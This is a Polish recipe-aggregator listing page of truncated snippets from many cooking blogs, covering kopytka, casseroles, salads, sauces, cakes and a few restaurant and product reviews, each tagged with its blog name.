Kopytka i wątróbka z cebulką 198

Kopytka zwykle podaje się okraszone smalcem ze skwarkami albo zeszkloną cebulką, można też polać je bułką tartą podsmażoną na maśle. W niektórych regionach kopytka podaje się z gulaszem albo sosem pieczarkowym. Chciałam Was dzisiaj zaprosić do wypróbowania mojego przepisu na kopytka podane z wątróbką i cebulką – danie rewelacyjnie smakuje. PRZEPIS NA KOPYTKA I WĄTRÓBKA Z CEBULKĄ Składniki na kopytka

Dorota Smakuje
KOPYTKA Z BATATÓW 157

Formując wałeczki podsypujemy je mąką, dzięki czemu po ugotowaniu trzymają kształt, a w środku pozostają delikatne i mięciutkie. Dobrze smakują podane prosto z wody jako dodatek do gulaszy i sosów, choć ja najlepiej lubię odsmażane na masełku z dużą ilością tartego parmezanu. SKŁADNIKI 1 batat 350-400 g 1 pełna szklanka (160 g) mąki pszennej 2 łyżki mąki ziemniaczanej

cool and minty
Zapiekanka ziemniaczana z mięsem mielonym 179

zakładkę, znów oprószyć delikatnie przyprawą do ziemniaków. Śmietanę wymieszać z jajkami  oraz startym na tarce jarzynowej  żółtym serem.  Doprawić pieprzem i szczyptą ostrej papryki. Tak przygotowanym sosem zalać zapiekankę. Naczynie wstawić  do rozgrzanego do 180 stopni piekarnika i piec około 30-40 minut aż ziemniaki się lekko zrumienią. Podawać gorące. Smacznego

Wanilia i Kardamon
Biała kiełbasa z musztardą i piwem 236

kilkakrotnie wykałaczką. Wlać piwo. 3. Musztardę wymieszać z miodem, mieszanką posmarować kiełbasę. 4. Piec w 180st.C przez 30-40 minut bez przykrycia, co jakiś czas podlewać kiełbaski powstałym sosem. Smacznego!!! Źródło: Smaczna Pyza

Kuchnia domowa Ani
Kotlety mielone z czosnkiem i pecorino 153

pozostaną soczyste w środku. Podajemy np. z : Sałatka z cieciorki z papryką, czerwoną cebulą i natką pietruszki Pieczone ziemniaki z wędzoną papryką Sałatka z mozzarellą, ciecierzycą i pomidorkami Sos pomidorowy z ziołami

Moja smaczna kuchnia
Kotlety mielone z buraczkami 144

pieczenia, wyłożonej papierem. Pieczemy ok. 20 minut w 200 st. C, a następnie zmniejszamy temperaturę do 180 st. C i pieczemy kolejne 20 minut. Podałam na sałacie z dodatkiem sosu jogurtowego z awokado. Dobrze smakują także z jogurtem wymieszanym z czosnkiem i curry

Kucharzyca
Szybkie mięsne przekąski 268

przyjęcia jest też serwowanie np. schabu pieczonego w plasterkach na zimno (pieczonego np. z nadzieniem ze śliwek suszonych), który doskonale będzie smakował z innymi dodatkami garmażeryjnymi typu sałatki, sosy

Słodkie okruszki
Sałatka z kaszką kuskus i mango 195

miski. Cebulę obieramy i kroimy w drobna kostkę. Ogórka myjemy i kroimy w kostkę, tak samo mango. Wszystko wraz ziarenkami granatu wrzucamy do kaszki. W szklance mieszamy składniki sosu, polewamy nim sałatkę i dokładnie wszystko mieszamy. Podajemy od razu lub po schłodzeniu w lodówce

Kulinarne przygody Gatity
Holenderska sałatka z tuńczykiem w chrupiącej bułce 148

jabłkiem, chrupiącą kukurydzą i świeżym szczypiorkiem. Podana na świeżej sałacie z chrupiącą bułką to ciekawa propozycja na imprezową przekąskę lub pełnowartościowe śniadanie. Składniki: 6 jajek 2 puszki tuńczyka w sosie własnym 1/2 puszka kukurydzy 1 jabłko 2 cebulki dymki 1 pęczek szczypiorku 2 łyżki ketchupu 4 łyżki majonezu sól pieprz Dodatkowo: 6 bułek kajzerek 12 listków sałaty Wykonanie: 1. Jajka

Szalona Kuchnia Eweliny
Ciasto cheeseburger - drożdżowy wypiek nadziany mięsem mielonym i warzywami 242

samą patelnię wylać odrobinę oleju i przesmażyć mięso. Gdy zmieni kolor to przyprawić je solą oraz pieprzem, a na sam koniec dodać passatę pomidorową. Smażyć, aż do lekkiej redukcji sosu. Ogórki pokroić w kostkę. Żółty ser zetrzeć na tarce na dużych oczkach. Blachę wyłożyć papierem do pieczenia. Ciasto podzielić na 2 części (na kulki o wielkości 2/3 ilości ciasta

Ugotować
Jarska potrawka z dynią 155

minut. Po tym czasie dodajemy przyprawy oraz brokuła i gotujemy bez przykrycia przez kolejne 10 minut. Dodajemy kamut lub kaszę lub ryż, mieszamy, przekładamy na talerz. Podałam z sosem jogurtowym z awokado OLYMPUS DIGITAL CAMERA

Kucharzyca
Zapiekanka gyros z ryżem (bez nabiału) 352

wykładamy ugotowany ryż. Na ryżu układamy cebulę pokrojoną w piórka, a następnie paprykę i ogórki konserwowe pokrojone w kostkę. Warzywa polewamy mieszanką keczupu z majonezem. Na tak przygotowany sos wrzucamy podsmażonego kurczaka. Pół szklanki mleka owsianego mieszamy z płatkami owsianymi. Zapiekankę zalewamy mlekiem owsianym i wstawiamy do piekarnika nagrzanego do 180 stopni. Pieczemy przez 35 minut

Dieta bez mleka
Gruszki w winie 147

Owoce sprawdzają się świetnie w ciastach, sałatkach, sokach, gotowane, smażone oraz pieczone. Często są bazą sosów do mięs, nadzień do naleśników czy pierogów . Gruszki w winie Mam całą gamę moich ulubionych owoców. W zależności od sezonu i od tego na co w danym momencie mam smak, różne owoce różnie wykorzystuję. Borówkami , malinami i truskawkami mogę się objadać do oporu

mecooks
Prosta surówka z kapusty pekińskiej 203

polecam Wam prostą surówkę z kapusty pekińskiej. Kilka chwil i gotowa. Surówkę najlepiej przygotować wcześniej, aby smaki się ładnie przegryzły. Taka surówka z kapusty pekińskiej najlepiej smakuje w towarzystwie sosów mięsnych. A co zrobić z resztą kapusty? Ja tu polecam Wam gołąbki z kapustą pekińską ( klik ) lub kotlety z kapustą pekińską i ryżem ( klik ) . Składniki: pół kapusty pekińskiej 1 jabłko

Słodkie okruszki
Schab z jajkiem. 234

jako danie obiadowe, ale również na zimno, na kanapki. Bardzo ładnie, będzie się prezentował na wielkanocnym stole. Podczas pieczenia, schab puści sok, nie wylewajcie go. To świetna baza, do sosu. Przyprawy możecie dodać, takie jak lubicie. Składniki: 1 kg. schabu bez kości (miałam 1,2 kg) 2-3 jajka ugotowana na twardo ( zależy jak długi jest schab) 1 ząbek czosnku

Agusiowe smakołyki
Pulpeciki gotowane w sosie koperkowym 284

ząbki czosnku 1 kromka czerstwego chleba 1 jajko sól, pieprz słodka i ostra papryka mąką 3/4 szklanki mleka 1 łyżka mąki ziemniaczanej … Czytaj dalej Pulpeciki gotowane w sosie koperkowym

czarrna od kuchni
IDEALNE, WIOSENNE ŚNIADANIE – ZAPIEKANE AWOKADO I CHRUPIĄCE TOSTY 171

oraz zwłaszcza w witaminę B12. SKŁADNIKI: ( 2 porcje ) – awokado – 1 szt – jajko – 2 szt – filety śledziowe z pomidorami i szczypiorkiem w sosie śmietanowym 250 g SEKO – 1 op – pieczywo pełnoziarniste – 4 kromki – świeża sałata – pomidor – rzodkiewka – szczypiorek – pestki słonecznika – sol, pieprz SPOSÓB PRZYRZĄDZENIA : Awokado przekrawamy, wydrążamy

Ostra na Słodko
Sałata polska – sałatka ziemniaczana 143

osolonej wodzie, pamiętając aby ich nie rozgotować. Można ugotować ziemniaki w skórce i potem obrać (lepsza wersja), lub obrać przed gotowaniem. Ciepłe ziemniaki pokroić w niezbyt cienkie plastry. Zalać sosem, wymieszać. Dodać cebulę z dodatkami, wymieszać. Doprawić do smaku solą i ewentualnie octem. Podawać póki ciepła. Na zimno też jest dobra :) *W przepisie podano, iż należy użyć bardzo dobrej oliwy

królestwo garów
Pasztet z makaronu włoskiego 157

Formę do pieczenia wysmarować masłem i wysypać bułką tartą. Mięso wymieszać z makaronem. Przełożyć do formy. Wstawić do piekarnika nagrzanego do 180 stopni na około 40 minut. Podałam z sosem pieczarkowym. talerz

królestwo garów
Krem z zielonego groszku i brokuła 156

pora 4 liście laurowe 5 ziarenek ziela angielskiego 2 ząbki czosnku 3 litry wody 2 udka z kurczaka lub korpus 2 łyżeczki słodkiej papryki 1 łyżeczka kurkumy pieprz sól sos sojowy do smaku Do garnka wlać 3 litry wody, dodać marchewkę, pietruszkę, liść laurowy, ziele angielskie oraz udka z kurczaka. Ugotować bulion. Dodać ziemniaki pokrojone w kostkę, brokuły i groszek

Słodki Zakątek
Placki bananowo- jabłkowe (bez cukru) 195

pieczenia i wszystko dokładnie wymieszać. Smażyć na suchej, mocno rozgrzanej nieprzywierającej patelni z obu stron na rumiano. Smażyć na małym ogniu pod pokrywką z dziurką. Swoje placki polałam sosem ze zblendowananego twarogu, jogurtu greckiego i truskawek. Można je również przełożyć masłem orzechowym, ulubionym dżemem, polać miodem, syropem, lub roztopioną czekoladą. Smacznego Placki bananowo- jabłkowe (bez cukru) Placki bananowo- jabłkowe

Smaki Armine
Szybki tradycyjny hummus 189

Przepisów na tradycyjny hummus jest bardzo wiele. Pokażę Wam jak szybko przygotować najbardziej podstawową wersję tego dodatku nie tylko do pieczywa. Oczywiście możecie namaczać i gotować

Kulinarnyblog.pl - wiesz jak gotować!
Zdrowa przekąska z hummusem 334

Bardzo często przed spotkaniem ze znajomymi zastanawiamy się jak przygotować przekąskę. A może by tak zrobić hummus i podać ją ze świeżymi warzywami. Nie potrzebujemy na

Kulinarnyblog.pl - wiesz jak gotować!
Piadina - włoska tortilla - włoski chlebek 160

Piadina - podawany na ciepło cienki placek z pszennej mąki z nadzieniem, pochodzący z prowincji Emilia - Romania w północnych Włoszech. Piadinę napełnia się praktycznie dowolnym farszem, najczęściej są to: sos pomidorowy, ser, mięso lub wędlina, grzyby, rukola, szpinak, ale także czekolada bądź konfitura. Podawałam na blogu przepisy na nadzienie do piadiny już kilka razy ale pytacie mnie o przepis na samą

Moje Małe Czarowanie
ZUPA POMIDOROWA Z BIAŁĄ RYBĄ, KALAFIOREM I SOCZEWICĄ 187

kalafiora 1 marchewka 1 cebula 4 ząbki czosnku 1/3 szklanki zielonej soczewicy 100-150 g filetu białej ryby, np. dorsza 600 ml bulionu lub wody, najlepiej z 2 łyżkami sosu sojowego lub kawałkiem pokruszonej, ekologicznej lub domowej kostki rosołowej) 400 ml passaty pomidorowej 1 łyżka posiekanej natki pietruszki 1 łyżka posiekanego koperku PRZYPRAWY: sól, świeżo zmielony czarny pieprz, szczypta chili

cool and minty
Ziemniaczane kotleciki z groszkiem i tuńczykiem 200

pysznym sposobem na zagospodarowanie nadwyżki ziemniaków pozostałych po obiedzie. Spróbujcie, a będziecie płakać ze szczęścia :) Ziemniaczane kotleciki z groszkiem i tuńczykiem Potrzebujesz: 800g ugotowanych ziemniaków 2 puszki tuńczyka w sosie własnym 80g mrożonego groszku zielonego Hortex 1 jajko skórka otarta z 1/2 cytryny 1 łyżka posiekanej natki pietruszki 1 łyżeczka granulowanego czosnku 1/2 łyżeczki soli 1/2 łyżeczki pieprzu mąka

Kuchnia w Słońcu Skąpana
Pizza z łososiem i pomidorami 207

brzegu. Posypujemy serem i układamy resztę składników (poza szpinakiem). Wstawiamy do pieca na 20-25 minut. W połowie czasu dodajemy szpinak. Gotowa pizza fantastycznie smakuje bez dodatkowego sosu lub skropiona odrobiną oliwy

W poszukiwaniu inspiracji
Roladki ze śliwką w chrupiącej wędzonej szynce 178

śliwki i zawijamy. Tak przygotowaną roladkę owijamy szynką i układamy w naczyniu żaroodpornym. Pieczenie: Temperatura - 180ºC termoobieg Czas - ok. 20 minut Do roladek możecie podać domowy sos pieczeniowy oraz dużą ilość warzyw. Świetnie sprawdzą się także jako dodatek do klusek śląskich. Smacznego

Cooking Monster
Ostre curry z ciecierzycy, fasolki i pomidorów 129

garnku zagotować wodę i na osolony wrzątek wrzucić fasolkę szparagową. Gotować 2-3 minuty, odcedzić i dodać do curry, pozostawiając kilka fasolek do dekoracji dania na talerzach. Kiedy sos zgęstnieje, doprawić danie pieprzem, syropem klonowym i sokiem z cytryny. Podawać z pokruszonym serem feta, posypać listkami kolendry.   1 porcja to ok. 190 kcal , węglowodany: 20g, białko: 7g, tłuszcz

Dietolog
Polędwiczki z młodą marchewką i szalotką 142

czasie do polędwicy dodajemy obrane szalotki oraz marchewkę i dalej dusimy, aż warzywa zmiękną. Kiedy warzywa będą miękkie doprawiamy do smaku solą,pieprzem, tymiankiem. Na koniec opcjonalnie można zagęścić sos mąką rozrobioną w wodzie. Przed podaniem polędwicę kroimy na grube plastry i podajemy z warzywami

Bon appetit mon amie
Tarte buraczki z porem 602

naszym stole w najróżniejszych wersjach. Dziś tarte buraczki z porem. Prosto, a jak pysznie. Tak przygotowane buraczki doskonale pasują do drugiego dania. Ja najczęściej podaję je do do mięs, sosów i ziemniaków. Ale sprawdzają się również obok kasz, makaronów, a nawet klusek śląskich. Przygotowanie tartych buraczków jest bardzo proste. Ja najczęściej przygotowuję surówki na bazie pieczonych buraków, ale możecie spokojnie

Słodkie okruszki
Jak rzuciliśmy wszystko i pojechaliśmy na narty 163

litery T. Bogusia zamówiła wiślańskiego burgera z plastrami boczku, oscypka i ogórka kiszonego. Stek był zgodnie z moim zamówieniem średnio wysmażony, soczysty z dodatkiem aromatycznego sosu i gratin z pieczoną szalotką. Bogusi burger…co ja Wam będę mówił, wyobrazicie sobie 200 g grillowanej wołowiny, chrupiący boczek, lokalny oscypek. Do tego kieliszek dobrego

kuron.com.pl
Kakaowe naleśniki z masłem orzechowym i owocami 183

zbyt płynna ani zbyt gęsta. Z ciasta smażymy naleśniki. Każdy naleśnik smarujemy masłem orzechowym, zwijamy w rulon. Czekoladę rozpuszczamy w kąpieli wodnej. Pod koniec wlewamy śmietankę i energicznie mieszamy. Sosem czekoladowym polewamy naleśniki. Dekorujemy owocami i bazylią

VioletoweKucharzenie
Potrawka z kurczaka 192

wlać gorący bulion i gotować na wolnym ogniu pod przykryciem około 10 minut.  Doprawić mieloną słodką papryką , wlać śmietankę oraz sok z cytryny, gotować jeszcze chwilę mieszając aż sos zgęstnieje. Przed podaniem posypać świeżo posiekaną natką pietruszki. Doskonale komponuje się z ryżem na sypko. Smacznego

Wanilia i Kardamon
Zapiekanka brokułowo- kalafiorowa z indykiem 212

minut. Gotową zapiekankę zostawić w gorącym piekarniku na około 7-10 minut, dopiero potem wyjmować z formy, aby cały „sok” wchłonął się do zapiekanki. Podawać z ulubionymi sosami i surówkami. Smacznego Zapiekanka brokułowo- kalafiorowa z indykiem Zapiekanka brokułowo- kalafiorowa z indykiem Zapiekanka brokułowo- kalafiorowa z indykiem Zapiekanka brokułowo- kalafiorowa z indykiem " alt="Smaczne a nie tuczy " data-recalc

Smaki Armine
Placki bananowo-borówkowe na kefirze (bez cukru) 256

rózgą kuchenną. Następnie dodać banany i borówki i wymieszać. Smażyć na suchej, mocno rozgrzanej, nieprzywierającej patelni z obu stron na rumiano na średnim ogniu. Placki te idealnie smakują z sosem z jogurtu greckiego wymieszanego z domowym masłem orzechowym i odrobiną miodu. Polecam Placki bananowo-borówkowe na kefirze (bez cukru) Placki bananowo-borówkowe na kefirze (bez cukru) Placki bananowo-borówkowe

Smaki Armine
Golonka pieczona 152

czarnego pieprzu Do podania: pieczywo, chrzan, musztarda, ogórek kiszony i inne dodatki SKŁADNIKI MARYNATA: -3 łyżki oleju – 1 łyżeczka chilli – 2 łyżeczki wędzonej papryki – 2 łyżki sosu sojowego – 1 łyżka octu balsamico – 2 łyżki musztardy dijon lub francuskiej ziarnistej – 3 łyżki miodu płynnego – sól, pieprz PRZYGOTOWANIE: Golonki umyj dokładnie, włóż do garnka, dodaj

nietylkopasta.pl
RYŻOWE KOTLECIKI CURRY ZE SZPINAKIEM 172

Smaczne i szybkie kotleciki z ryżu i szpinaku. Doprawione curry w proszku oraz czosnkiem, cebulką i szczyptą chili.  Można podać je z ulubioną surówką, np. coleslaw, mizerią lub sosem pieczarkowym. Sprawdzą się również jako dodatek do innych dań, np. gulaszy lub mięs z grilla. Najlepiej przygotować je z ryżu pozostałego z obiadu. SKŁADNIKI / 9 SZT. 2 szklanki ugotowanego ryżu

cool and minty
Pasta kanapkowa z sera żółtego 582

Smaczna z… chlebem, bułkami, chrupkim pieczywem, waflami ryżowymi, krakersami.                 Moje inne propozycje śniadaniowe : – Quesadilla śniadaniowa – Jajka w sosie tatarskim – Sałatka z brokułami i szynką – Masło z orzechów włoskich

Kulinarny S.O.S.
Sos z kurczaka (trzyskładnikowy) 133

Dołożyłam do mięsa. To samo zrobiłam z porem, umyłam i pokroiłam w plastry ok. 2 mm grubości. Wszystko chwilę podsmażyłam aż pieczarki zaczęły puszczać sok. Zalałam śmietanką i redukowałam sos ok 3-4 minut. Zdjęłam z ognia i przyprawiłam do smaku solą i świeżo zmielonym pieprzem. Notatki: * można użyć mięsa z innej części kurczaka * użyłam tu soli ziołowej, można

Pieprzyć z Fantazją
Pasta kanapkowa z sera żółtego 582

Smaczna z… chlebem, bułkami, chrupkim pieczywem, waflami ryżowymi, krakersami.                 Moje inne propozycje śniadaniowe : – Quesadilla śniadaniowa – Jajka w sosie tatarskim – Sałatka z brokułami i szynką – Masło z orzechów włoskich

Kulinarne S.O.S.
Delikatne pulpeciki z indyka z warzywami i koperkiem 142

dorosłym. Są pyszne, delikatne i mało kaloryczne. To świetna propozycja na szybki oraz lekki obiad. Dla mnie i córki smakują z mnóstwem warzyw, a mężowi dodatkowo przygotowuję do nich sos. Polecam! (około 10 sztuk w zależności od wielkości) Pulpeciki:   250g mięsa mielonego z fileta indyka (może być dowolne) 1/2 suchej bułka namoczonej w mleku /wodzie   1 jajko

Di gotuje
Kopytka – przepis 198

polskie kluski ziemniaczane kopytka. Kopytka możemy zrobić z ugotowanych ziemniaków, które zostaną nam z obiadu, ale pyszne wychodzą z ziemniaków wcześniej upieczonych. Kopytka pyszne są solo albo podane w sosie pieczarkowym. PRZEPIS NA KOPYTKA Składniki na kopytka: 1 kg ugotowanych ziemniaków lub upieczonych w folii al. ok 250g mąki pszennej (ilość mąki zależy od wilgotności ziemniaków) 1 jajko sól

Dorota Smakuje
Pięć Przemian - recenzja zdrowej żywności 223

Suszone daktyle to podstawowy składnik wszelkich surowych słodkości, jak kulki energetyczne, batoniki czy ciasta. Ze względu na dużą słodycz z powodzeniem można nimi osłodzić owsiankę, budyń jaglany czy zrobić sos karmelowy. Zastosowań ma wiele, wszystko zależy od naszej kreatywności. Suszone daktyle bogate są w potas, żelazo, fosfor, magnez oraz witaminy z grupy B. Kupując daktyle warto zwrócić uwagę

Zdrowie na języku :P
Szarlotka orzechowo rumowa z słonym karmelem 178

Dzisiaj mam dla was nie lada delicje, jeśli chodzi o wszystkie ciasta z jabłkami. Miękkie puszyste i mega aromatyczne  ciasto biszkoptowe, z dużą dozą orzechów włoskich oraz sosem karmelowym  z solą morską. Osobiście bardzo lubię ciasta z jabłkami, choć nie często je przygotowuję. To chyba dopiero drugi przepis na szarlotkę, więc obiecuję że zacznę publikować ich więcej

vaniliowoczekoladowa
Magazyn Aromat wiosna 2019 160

smakowite pomysły na nowalijki, szparagi czy pasztety wegetariańskie. Nie zabrakło także słodkości, szczególnie tych z czekoladą w roli głównej. Mój skromny wkład do numeru to przepisy na dressingi i sosy do sałatek oraz słodka historia Red Velvet Cake. Zapraszam do poczytania! https://issuu.com/magazynaromat/docs/wiosna_2019

Obiad gotowy
Zupa brokułowa z serem 137

przepisu na makaron z brokułami i kurczakiem Emilka dość przychylnie patrzy na brokuły. Ten makaron bardzo lubi i często o niego prosi (robię więc na zapas i mrożę porcje sosu z kurczakiem i brokułami), tez zjada chętnie klasyczną, zabielaną, warzywną zupę z dodatkiem brokułów. Postanowiłam rozszerzyć nasz brokułowy asortyment i powstała prosta zupa brokułowa z serem cheddar, inspirowana właśnie powyższym

Cooking for Emily
Wegetariański pasztet z czerwonej soczewicy 152

soczewicy 2 marchewki Pół selera Pietruszka 2 jajka Garść słonecznika 2 łyżki ostrej pasty przyprawowej Madras (można zamienić na mieszankę przypraw - kolendra, ostra i słodka papryka, kmin rzymski) Łyżka sosu sojowego Sól, pieprz Soczewicę wypłukać dokładnie, najlepiej kilkukrotnie aż woda przestanie być mętna Soczewicę oraz warzywa ugotować do miękkości Zmiksować wszystkie ugotowane składniki Kiedy masa ostygnie dodać jajka, przyprawy, słonecznik

HealthyCreations
Klasyczne placki ziemniaczane 217

Klasyczne placki ziemniaczane to przepis na szybki obiad. Jeśli macie odrobinę więcej czasu możecie przygotować gulasz i stworzycie domową wersję placków po zbójnicku . Mimo wszystko ja

Kulinarnyblog.pl - wiesz jak gotować!
Włoska kuchnia – dlaczego tak ją kochamy 187

oferuje kuchnia włoska takich jak lasagne, pizza czy spaghetti zakochują się mniej wybredni smakosze. Trudno bowiem skonsumować pyszne kawałki mięsa i warzyw ułożone na chrupiącym spodzie, makaron w pysznym sosie pomidorowym, czy też szalony włoski przekładaniec i nie wykrzyknąć z zachwytu „Mamma mia!”. Wśród naszych rodaków na pewno znajdą się jednakże również miłośnicy nieco bardziej wyszukanych specjałów kulinarnych. Zarówno

Kulinarnyblog.pl - wiesz jak gotować!
Gdzie zjeść we Lwowie? Najlepsze restauracje i kawiarnie we Lwowie 231

końców obiad jedliśmy w Mięso i Sprawiedliwość . Wybraliśmy mały talerz z różnymi mięsami za ok. 360 UAH (54 zł). Mieliśmy tam wieprzowinę, żeberka i kurczaka, a do tego trzy sosy. Było smacznie, poprawnie, najedliśmy się. Dodatkowo sam lokal ma super klimat i jeżeli lubicie zapach grilla to będziecie w niebie. Ja nie mogę się już doczekać wiosny i startu sezonu

Czarnawisienka
Tarta z kurczakiem i pieczarkami 173

konieczności wychodzenia do sklepu, czyli… wyłącznie z produktów, które miałam w kuchni. Tak trafiłam na tatrę z kurczakiem na Kuchennych Wariacjach Możesz ją podać samodzielnie, z zimnym sosem (np. czosnkowym), sałatką obiadową lub duszonymi warzywami. Tarta świetnie spisze się na obiad, kolację lub jako poczęstunek dla gości   Składniki: 200 g mąki 100 g masła lub margaryny 1 jajko

Kulinarne S.O.S.
Tarta z kurczakiem i pieczarkami 173

konieczności wychodzenia do sklepu, czyli… wyłącznie z produktów, które miałam w kuchni. Tak trafiłam na tatrę z kurczakiem na Kuchennych Wariacjach Możesz ją podać samodzielnie, z zimnym sosem (np. czosnkowym), sałatką obiadową lub duszonymi warzywami. Tarta świetnie spisze się na obiad, kolację lub jako poczęstunek dla gości   Składniki: 200 g mąki 100 g masła lub margaryny 1 jajko

Kulinarny S.O.S.
Polędwiczka ze szpinakiem z woka 175

Dzisiaj proste i bardzo smaczne danie. Kilka dostępnych bez problemu składników i w parę chwil możecie się cieszyć jedzeniem. Ważne jest tylko żeby porządnie rozgrzać woka

slodkokwasnapl
Tofucznica 180

pokroiłam w kostkę) - delikatnie solimy i podsmażamy dalej dodajemy pokrojoną w kostkę paprykę i smażymy nadal dodajemy pokrojone w kostkę tofu doprawiamy do smaku (można też dodać odrobiny sosu sojowego) i smażymy jeszcze przez chwilkę jak wszystkie składniki dokładnie się wymieszają Jak dla mnie idealna alternatywa dla zwykłej jajecznicy :) smacznego

Gotowanie z pasją
Tofucznica 197

pokroiłam w kostkę) - delikatnie solimy i podsmażamy dalej dodajemy pokrojoną w kostkę paprykę i smażymy nadal dodajemy pokrojone w kostkę tofu doprawiamy do smaku (można też dodać odrobiny sosu sojowego) i smażymy jeszcze przez chwilkę jak wszystkie składniki dokładnie się wymieszają Jak dla mnie idealna alternatywa dla zwykłej jajecznicy :) smacznego

Gotowanie z pasją
Kotlety ziemniaczane z żółtym serem 155

danie w podobnej wersji pojawia się u nas dość często. Na przykład prawie zawsze wtedy, gdy zostaną mi ziemniaki z poprzedniego obiadu. Kotlety ziemniaczane z serem żółtym i sosem czosnkowym to danie, które lubi mój mąż. Składniki: - gotowane poduszone ziemniaki - jajko - ser żółty tarty - mąka pszenna - sól himalajska - przyprawy: kurkuma, papryka słodka dodatki: - bułka tarta

Kuchnia co dnia
Kotlety z soczewicy i kaszy jaglanej 198

jajko i ewentualnie szczyptę czosnku granulowanego lub świeżego Składniki wymieszać, uformować mokrymi rękoma kotleciki, obtoczyć w bułce tartej, smażyć z obu stron na złoty kolor. Do makaronu można zrobić sos pieczarkowy- danie będzie jeszcze bogatsze. Sałatka - to mix sałat z pomidorem, cebulą, ziarnami słonecznika i żurawiną. Polane olejem z suszonych pomidorów

Proste Potrawy
Jak długo można przechowywać żywność w lodówce? 131

serów dojrzewających. Półki na drzwiach – na oleje, soki i jajka Boczne półki to najcieplejsze miejsce w chłodziarce, dlatego dobrze się tutaj będą przechowywać: jajka, oleje, soki, ketchup i inne sosy w butelkach. Jak długo można przechowywać w lodówce poszczególne produkty? Większość produktów powinno przechowywać się zgodnie z terminem przydatności podanym na opakowaniu. Odnośnie pozostałych, warto kierować się ogólnie przyjętymi zasadami

Kulinarne Przeboje
Sałatka z brązowym ryżem i tuńczykiem 230

spróbujecie i podzielicie się ze mną opinią na temat tej sałatki, oraz zdjęciami, które bardzo chętnie zamieszczę na blogu Składniki: – 100g ryżu brązowego – 1 puszka tuńczyka w sosie własnym – 1 papryka czerwona lub żółta (u mnie czerwona) – 2-3 ogórki kiszone – 1/2 puszki kukurydzy konserwowej – 1 łyżka octu balsamicznego – 1 łyżka oleju

Smaki Armine
Di w WP kuchnia 132

dumą chciałabym Was poinformować, że od marca moje przepisy będzie można spotkać na portalu Wirtualna Polska​ w dziale WP kuchnia . Zaczynamy od: Sałatki pieczarkowo-serowej z kukurydzą i sosem czosnkowym - klik . Paluszków surimi w cieście serowo-sezamowym - klik

Di gotuje
Ser żółty smażony w lekko pikantnym cieście 135

przygotowany ser jest nie tylko świetną przekąską, ale także pyszną bombą kaloryczną. Rewelacyjnie smakuje na ciepło, kiedy kusząco się ciągnie oraz po wystygnięciu w wersji solo lub z ulubionym sosem. Ja mogłabym się nim zajadać do znudzenia... Jeśli nie boicie się kalorii, albo od czasu do czasu pozwalacie sobie na smakowite przyjemności to koniecznie skorzystajcie z przepisu! Polecam. około 220g

Di gotuje
PORA NA LUNCH - RECENZJA 110

dekadencko - przepisy zawierające składniki rzadziej używane na co dzień, które sprawiają, że lunch jest bardziej oryginalny i smakuje inaczej niż zwykle. Znajdziemy tu przepisy m.in. na: karczocha z sosem musztardowym, sałatkę z chorizo, jajek i ziemniaków czy zawijasy z ciasta filo z serem feta i pikantnym szpinakiem 3. Dla uwięzionych przy biurku - proste danie, które zjesz szybko, nie przerywając pracy

Kuchnia MagdaLeny
SZPARAGI W SZYNCE PARMEŃSKIEJ I CIEŚCIE FRANCUSKIM 175

roli głównej... z dodatkiem sera żółtego, w szynce parmeńskiej oraz cieście francuskim. Jest  ona bardzo prosta w przygotowaniu, a smakuje i prezentuje się znakomicie. Świetnie smakuje podana z sosem czosnkowym. Idealna propozycja na kolację lub podczas oglądania meczów piłki nożnej 😉 Składniki: (na 6 szt.) 500 g szparagów zielonych (pęczek) 1 op. ciasta francuskiego świeżego 100 g szynki parmeńskiej

Kuchnia MagdaLeny
KUCHENNA APTEKA #12 - CUKINIA 143

różnym okresie wzrostu i na różnym etapie dojrzewania. Cukinia jest młoda, jędrna, a kabaczek to nazwa cukinii dojrzałej, większej, z pestkami Przepisy z cukinią  1) CUKINIOWE SPAGHETTI Z SOSEM SEROWYM 2) RUSTYKALNA TARTA Z CUKINIĄ 3) CUKINIA FASZEROWANA PĘCZAKIEM 4) KORZENNE CIASTO CUKINIOWE 5) MEDALIONY INDYCZE W CIEŚCIE CUKINIOWYM 6) ZUPA Z PIECZONEJ CUKINII Z TYMIANKIEM

Kuchnia MagdaLeny
KUCHENNA APTEKA #14 - ŚLIWKI 148

mirabelki. W Polsce śliwki, obok jabłek, to najczęściej spotykane owoce w sadach. Wykorzystuje się je w kuchni do przygotowywania m.in. konfitur, dżemów, kompotów, knedli, ciast, a także nalewek oraz sosów i marynat do mięs. Jednak śliwka jest niedocenianym owocem, jeżeli chodzi o właściwości zdrowotne. Większość osób nie zdaje sobie sprawy jakie właściwości lecznicze oraz składniki odżywcze i witaminy posiada

Kuchnia MagdaLeny
ZAPIEKANKA KEBAB-GYROS Z RYŻEM 156

wykładamy do naczynia żaroodpornego, na przygotowany wcześniej ryż. W kubku rozbełtujemy jajko i dodajemy majonez, jogurt naturalny oraz ketchup. Wszystko dokładnie mieszamy i przyprawiamy lekko solą i pieprzem. Przygotowany sos wylewamy na wierzch zapiekanki i posypujemy startym, żółtym serem. Wkładamy do piekarnika nagrzanego do 180 stopni na około 20-30 min. Podajemy na ciepło

Kuchnia MagdaLeny
PIERNIKOWE POWIDŁA ŚLIWKOWE 176

kwaśnymi śliwkami oraz przyprawy do piernika. Idealnie sprawdzą się podczas świątecznych wypieków i nie tylko... świetne są również jako smarowidło do naleśników, gofrów, grzanek czy też dodatek do sosów. Smakują rewelacyjnie! Nawet same, prosto ze słoiczka 😉 Składniki: 1,5 kg śliwek 100 g czekolady gorzkiej min. 70% 100 g mlecznej czekolady (dobrej jakości) 30 g przyprawy do piernika

Kuchnia MagdaLeny
POTRAWKA GOŁĄBKOWA 168

Szybki pomysł na obiad... potrawka o smaku gołąbkowym z mięsem mielonym, białą kapustą i ryżem w sosie pomidorowym. Taka potrawka to świetna propozycja na wykorzystanie składników po wykonaniu gołąbków, np. mamy resztki kapusty, która nie nadaję się już do ich zawijania. Możemy ją także wykonać, gdy najdzie nas chętka na gołąbki, ale nie mamy ochoty lub czasu na ich zawijanie

Kuchnia MagdaLeny
KUCHENNA APTEKA #25 - KASZA GRYCZANA 181

jest ono lepiej przyswajalne niż to ze zbóż 100 g ugotowanej kaszy zawiera 92 kcal Przepisy z kaszą gryczaną 1) GOŁĄBKI WIGILIJNE 2) PULPETY GRYCZANE W SOSIE PIECZARKOWYM 3) PIERSI Z GĘSI W JABŁKACH I ŻURAWINIE Z KASZĄ GRYCZANĄ Z BURACZKAMI 4) ZAPIEKANKA GRYCZANA Z BROKUŁAMI I FETĄ

Kuchnia MagdaLeny
Pasta tuńczykowo - jajeczna na kanapki 148

